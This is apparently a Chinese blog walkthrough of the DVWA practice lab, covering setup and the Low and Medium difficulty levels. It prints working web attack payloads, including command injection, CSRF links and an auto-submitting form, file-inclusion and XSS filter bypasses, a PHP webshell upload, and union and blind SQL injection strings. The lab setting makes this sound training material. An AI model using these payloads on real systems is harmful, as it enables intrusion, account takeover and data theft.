DVWA通关全解
最近在学习内网和系统方面的知识,有一段时间没有接触web方面的知识了,这里我就通过DVWA来进行复习,避免太久没有接触而生疏了。这里来记录一下过程。DVWA是什么这里就不介绍了。刚接触网安必接触的一个好的靶场。废话不多说,这里直接开始。
一、安装DVWA
DVWA可以通过下载源码来进行本地环境搭建,也可以使用docker安装,这里直接使用DVWA安装,更加简单,只要有docker即可,docker安装这里不再展示。
使用命令拉取镜像
docker pull citizenstig/dvwa
然后使用命令运行容器
docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa
然后在浏览器进行访问
http://localhost:8999
我这里使用的是子系统配置的,所以使用IP地址访问,访问之后初始化数据库,然后使用默认账号密码登录
账号:admin
密码:password
进去的页面如上所示。那么可以开始打靶场了。
靶场有几个等级,low,medium,high,impossible,这里我们从低往高进行。
二、Low
1、Vulnerability: Brute Force
这个只要使用暴力破解即可,使用bp的intruder模块进行爆破。这里就不再展示
2、Vulnerability: Command Injection
这个是通过输入ip地址进行ping,但是没有很好的过滤,导致能够通过管道符执行其它命令。比如说
127.0.0.1 && whoami
可以在最下面看到,whoami执行结果是www-data。其它命令这里不再展示。
3、Vulnerability: Cross Site Request Forgery (CSRF)
CSRF(跨站请求伪造),通过构造恶意页面来执行其恶意攻击。这里我们先尝试修改密码
可以看到修改后密码在url显示,以get方式进行。那么我们可以通过构造恶意链接让用户执行,比如说
http://172.25.54.94:8999/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
然后将此链接变成短链接诱导用户访问,然后即可更改密码
访问之后
密码更改成功。
4、Vulnerability: File Inclusion
通过访问file1.php,file2.php, file3.php会返回不通的内容,同时会将文件名传参给page参数
那么我们可以将其它的内容传给page来进行解析,比如说
http://172.25.54.94:8999/vulnerabilities/fi/?page=http://172.25.54.94/23.php
可以看到成功解析。
5、Vulnerability: File Upload
这里我们先上传php一句话木马,
上传成功,使用蚁剑连接
成功连接
6、Vulnerability: Insecure CAPTCHA
这里没有配置,就不再展示了
7、Vulnerability: SQL Injection
使用1'进行测试,发现出错了,说明有sql注入
那么直接order by
那么字段数为2,接下来就是爆表了,使用命令如下
1' union select 1,database()#
爆出表名dvwa,接下来就是列出一系列命令,这里不再展示
爆表:1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)#
爆列:1' union select 1,(select column_name from information_schema.columns where table_name='guestbook' limit 0,1)#
8、Vulnerability: SQL Injection (Blind)
盲注的话有时间盲注和布尔盲注,先展示布尔盲注,我们先看看布尔盲注是如何判断的
可以看到其爆出错误不同,那么我们就可以通过这个判断,布尔盲注命令如下
爆数据库长度:1'and length(database())=4#爆数据库的第一个字符:1'and substr(database(),1,1)='a'#爆表的长度:1'and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=9#爆字段长度:1'and length(select column_name from information_schema.columns where
table_name='guestbook' limit 0,1)=10#爆字段:1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#其中也可以使用ascii码来进行,比如说
判断第一个的字符的ascii大于88:1'and ascii(substr(database(),1,1))>88#
表的长度为4
接下来就不再展示了。然后是时间盲注,使用命令如下
1'and if(length(database())=4,sleep(5),1)#
此语句意思是如果数据库的长度是4,那么执行slepp(5),否则返回1
然后判断的话如果会访问5秒只有就说明是对的,然后就是爆表,列之类的和上面一样即可。sql注入也可以使用sqlmap进行解决,但是个人比较喜欢手注,所以这里就没有展示工具的使用,不想手注的可以使用工具进行注入。
9、Vulnerability: Reflected Cross Site Scripting (XSS)
反射型XSS,只要使用相应的语句即可,比如说
<script>alert(1)</script>
10、Vulnerability: Stored Cross Site Scripting (XSS)
存储型XSS,只要在留言板能力使用上面的语句,那么每次访问时都会进行弹窗。
三、Medium
中等的话只是比低等的多了一些简单防御,这里我快速过一遍。细节就不再展示了。
1、Vulnerability: Brute Force
Medium等级主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果。
2、Vulnerability: Command Injection
添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入,比如说使用||也可以进行执行其它命令。
3、Vulnerability: Cross Site Request Forgery (CSRF)
Medium等级的CSRF加了一个referer头进行判断,那么我们可以构造恶意url来进行访问
首先构造恶意页面
<!DOCTYPE html>
<html>
<head><!-- 确保跨域请求时,Referer 发送完整路径 --><meta name="referrer" content="unsafe-url">
</head>
<body><form action="http://172.25.54.94:8999/vulnerabilities/csrf/" method="GET"><input type="hidden" name="password_new" value="hacked"><input type="hidden" name="password_conf" value="hacked"><input type="hidden" name="Change" value="Change"></form><script>// 页面加载后自动提交表单document.forms[0].submit();</script>
</body>
</html>
记住命名需要包括主机IP地址,比如说我的命名是172.25.54.94_hack.html。
然后使用python开一个http服务
然后使用如下url进行访问
http://127.0.0.1:8000/172.25.54.94_hack.html
更改成功。这样在referer头中就会带入相应的url。Referer绕过:添加<meta name="referrer" content="unsafe-url">,在访问的时候完整带上URL,即可绕过。有时候或者直接删除referer也可以绕过其防御。
4、Vulnerability: File Inclusion
Medium中将传参值中有http:// ,https:// …/ …\都将替换为空,那么我们使用
htthttp://p://172.25.54.94/23.php
5、Vulnerability: File Upload
只能上传jpg文件,那么我们就可以通过上传图片马,然后bp抓包修改后缀为php即可。
7、Vulnerability: SQL Injection
通过提交方式我们可以知道以post方式提交,那么其sql注入语句差别不大,只是需要抓包注入,这里就不再展示了。

8、Vulnerability: SQL Injection (Blind)
这个也是post方式。
9、Vulnerability: Reflected Cross Site Scripting (XSS)
这里过滤了<script>,那么我们可以通过双写即可绕过。
<scr<script>ipt>alert(1)</script>
10、Vulnerability: Stored Cross Site Scripting (XSS)
这个和上面是一样的。
四、High
high等级的话也是比较有挑战的,细节的话这里我就不展示了,推荐一个大佬写的,很详细,我肯定写不了那么详细的,哈哈哈。
DVWA通关攻略零到一【全】-CSDN博客